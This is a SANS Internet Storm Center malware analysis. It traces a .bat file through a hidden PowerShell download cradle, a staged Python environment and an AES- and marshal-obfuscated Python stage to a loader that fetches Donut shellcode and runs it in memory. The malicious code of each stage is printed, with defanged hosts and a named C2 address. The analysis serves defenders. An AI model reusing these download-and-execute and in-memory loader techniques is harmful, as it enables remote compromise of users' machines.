Do you Like Donuts? Here is a Donut Shellcode Delivered Through PowerShell/Python, (Mon, Aug 19th)

SANS Internet Storm Center, InfoCON: green 2024-08-19

I found a tiny .bat file that looked not suspicious at all: 3650.bat (SHA256:bca5c30a413db21f2f85d7297cf3a9d8cedfd662c77aacee49e821c8b7749290) with a very low VirusTotal score (2/65)[1]. The file is very simple, it invokes a PowerShell:

@shift /0@echo offpowershell.exe -WindowStyle Hidden -Command "IEX (New-Object Net.WebClient).DownloadString('hxxps://oshi[.]at/awMj/update.ps1')"

At first, the downloaded PowerShell script will fetch a bunch of ZIP archives and unpack them:

$newFolderPath = "C:\Users\Public\document"if (-not (Test-Path -Path $newFolderPath -PathType Container)) {    New-Item -ItemType Directory -Path $newFolderPath | Out-Null    Write-Host "Folder created successfully at $newFolderPath"} else {    Write-Host "Folder already exists at $newFolderPath"}$downloads = @(    @{ Url = "hxxps://bitbucket[.]org/bich89hell/new/downloads/python311.zip"; Output = "C:\Users\Public\document\python311.zip" },    @{ Url = "hxxps://bitbucket[.]org/bich89hell/new/downloads/document1.zip"; Output = "C:\Users\Public\document1.zip" },    @{ Url = "hxxps://bitbucket[.]org/bich89hell/new/downloads/document2.zip"; Output = "C:\Users\Public\document2.zip" },    @{ Url = "hxxps://bitbucket[.]org/bich89hell/new/downloads/document3.zip"; Output = "C:\Users\Public\document3.zip" },    @{ Url = "hxxps://bitbucket[.]org/bich89hell/new/downloads/document4.zip"; Output = "C:\Users\Public\document4.zip" },    @{ Url = "hxxps://bitbucket[.]org/bich89hell/new/downloads/document5.zip"; Output = "C:\Users\Public\document5.zip" },    @{ Url = "hxxps://bitbucket[.]org/bich89hell/new/downloads/document6.zip"; Output = "C:\Users\Public\document6.zip" },    @{ Url = "hxxps://bitbucket[.]org/bich89hell/new/downloads/document7.zip"; Output = "C:\Users\Public\document7.zip" },    @{ Url = "hxxps://bitbucket[.]org/bich89hell/new/downloads/document8.zip"; Output = "C:\Users\Public\document8.zip" })foreach ($download in $downloads) {    Start-Job -ScriptBlock {        param($url, $output)        Invoke-WebRequest -Uri $url -OutFile $output    } -ArgumentList $download.Url, $download.Output}Get-Job | Wait-JobGet-Job | Format-Table -Property State, HasMoreData, Id, @{ Label = "Url"; Expression = { $downloads[$_.Name.Split("_")[1]].Url } }, @{ Label = "Output"; Expression = { $downloads[$_.Name.Split("_")[1]].Output } }Expand-Archive C:\Users\Public\document1.zip -DestinationPath C:\Users\Public\document -Force -ErrorAction SilentlyContinueExpand-Archive C:\Users\Public\document2.zip -DestinationPath C:\Users\Public\document -Force -ErrorAction SilentlyContinueExpand-Archive C:\Users\Public\document3.zip -DestinationPath C:\Users\Public\document -Force -ErrorAction SilentlyContinueExpand-Archive C:\Users\Public\document4.zip -DestinationPath C:\Users\Public\document -Force -ErrorAction SilentlyContinueExpand-Archive C:\Users\Public\document5.zip -DestinationPath C:\Users\Public\document -Force -ErrorAction SilentlyContinueExpand-Archive C:\Users\Public\document6.zip -DestinationPath "C:\Users\Public\document\Lib\site-packages" -Force -ErrorAction SilentlyContinueExpand-Archive C:\Users\Public\document7.zip -DestinationPath "C:\Users\Public\document\Lib\site-packages" -Force -ErrorAction SilentlyContinueExpand-Archive C:\Users\Public\document8.zip -DestinationPath "C:\Users\Public\document\Lib\site-packages" -Force -ErrorAction SilentlyContinue

It will fetch a complete Python environment with all the required libraries to execute the next stage:

Indeed, the next step is to download and execute a Python script:

Invoke-WebRequest hxxps://oshi[.]at/Nbmv/python.py -OutFile C:\Users\Public\python.pyC:\Users\Public\document\python.exe C:\Users\Public\python.py

If the initial PowerShell script was not obfuscated, this Python one is definitively more tricky to read:

import zlib,marshal,base64;from Crypto.Cipher import AES;from Crypto.Random import get_random_bytes;from Crypto.Util.Padding import pad, unpad;exec(marshal.loads(base64.b64decode("YwAAAAAAAAAAAAAAAA ... (removed) ... AAAFACQDpyEAAAAA==")))

Marshal[2] is the internal Python object serialization module that contains functions to read and write Python values in a binary format. To have a first look at the Base64 payload, we can use the dis module[3]. The call to exec() means that Python will receive some bytecode. The dis module supports the analysis of bytecode by disassembling it. If you replace exec() by dis.dis(), you get more information about the next stage:

0           0 RESUME                   01           2 LOAD_CONST               0 (0)            4 LOAD_CONST               1 (None)            6 IMPORT_NAME              0 (zlib)            8 STORE_NAME               0 (zlib)           10 LOAD_CONST               0 (0)           12 LOAD_CONST               1 (None)           14 IMPORT_NAME              1 (marshal)           16 STORE_NAME               1 (marshal)           18 LOAD_CONST               0 (0)           20 LOAD_CONST               1 (None)           22 IMPORT_NAME              2 (base64)           24 STORE_NAME               2 (base64)           26 LOAD_CONST               0 (0)           28 LOAD_CONST               2 (('AES',))           30 IMPORT_NAME              3 (Crypto.Cipher)           32 IMPORT_FROM              4 (AES)           34 STORE_NAME               4 (AES)           36 POP_TOP           38 LOAD_CONST               0 (0)           40 LOAD_CONST               3 (('get_random_bytes',))           42 IMPORT_NAME              5 (Crypto.Random)           44 IMPORT_FROM              6 (get_random_bytes)           46 STORE_NAME               6 (get_random_bytes)           48 POP_TOP           50 LOAD_CONST               0 (0)           52 LOAD_CONST               4 (('pad', 'unpad'))           54 IMPORT_NAME              7 (Crypto.Util.Padding)           56 IMPORT_FROM              8 (pad)           58 STORE_NAME               8 (pad)           60 IMPORT_FROM              9 (unpad)           62 STORE_NAME               9 (unpad)           64 POP_TOP           66 PUSH_NULL           68 LOAD_NAME               10 (exec)           70 PUSH_NULL           72 LOAD_NAME                0 (zlib)           74 LOAD_ATTR               11 (decompress)           84 LOAD_CONST               5 (b'x\x9c5Vy_\xdbF\x10\xfd*\\\x01;\x1c ... (removed) ... \xbf}h\xb5\xdb\xff\x01RX?6')           86 PRECALL                  1           90 CALL                     1          100 LOAD_METHOD             12 (decode)          122 PRECALL                  0          126 CALL                     0          136 PRECALL                  1          140 CALL                     1          150 POP_TOP          152 LOAD_CONST               1 (None)          154 RETURN_VALUE

The presence of references to Crypto functions and the hex-encoded payload reveals the technique used to decote the next stage.

Once the data decompressed, let’s decrypt manually the payload:

from Crypto.Cipher import AESfrom Crypto.Util.Padding import unpadkey = b'\xe4TCV\x05.F\x97v\xb4\x9a_\x92\x8e^5\xc14\xd0fgY;"\xf3gu:h\x92\xc0\x08'iv = b'\xeb<\xd0\xdb\\\xef[7ns\xe47\x84c\xc4C'ciphertext = b'nrs.wn=\x85\xc7\x85\xd0\xacL\x97\xf1\xd6 … \xd9\x88\xd9\xe7\x12\x9d\xc8&'cipher = AES.new(key, AES.MODE_CBC, iv)plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)print(plaintext.decode('utf-8'))

We have the final Python payload:

import ctypesfrom pathlib import Pathimport base64import requestspayload_data = base64.b64decode(requests.get("hxxps://files[.]catbox[.]moe/7p917w.txt").text)shellcode = bytearray(payload_data)  # Removed unnecessary partkernel32 = ctypes.windll.kernel32kernel32.VirtualAlloc.restype = ctypes.c_void_pkernel32.RtlMoveMemory.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t]ptr = kernel32.VirtualAlloc(None, len(shellcode), 0x3000, 0x40)  # Use specific address instead of Nonebuffer = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)kernel32.RtlMoveMemory(ptr, buffer, len(shellcode))handle = kernel32.CreateThread(None, 0, ctypes.c_void_p(ptr), None, 0, None)kernel32.WaitForSingleObject(handle, -1)

This code will fetch the final shellcode and execute it from memory. The shellcode has been generated with Donut[4]. It tries to phone home to %%ip:160.30.21.115%%:7000 but the C2 is down at the moment...

[1] https://www.virustotal.com/gui/file/bca5c30a413db21f2f85d7297cf3a9d8cedfd662c77aacee49e821c8b7749290 [2] https://docs.python.org/fr/3/library/marshal.html [3] https://docs.python.org/3/library/dis.html [4] https://github.com/TheWover/donut

Xavier Mertens (@xme) Xameco Senior ISC Handler - Freelance Cyber Security Consultant PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.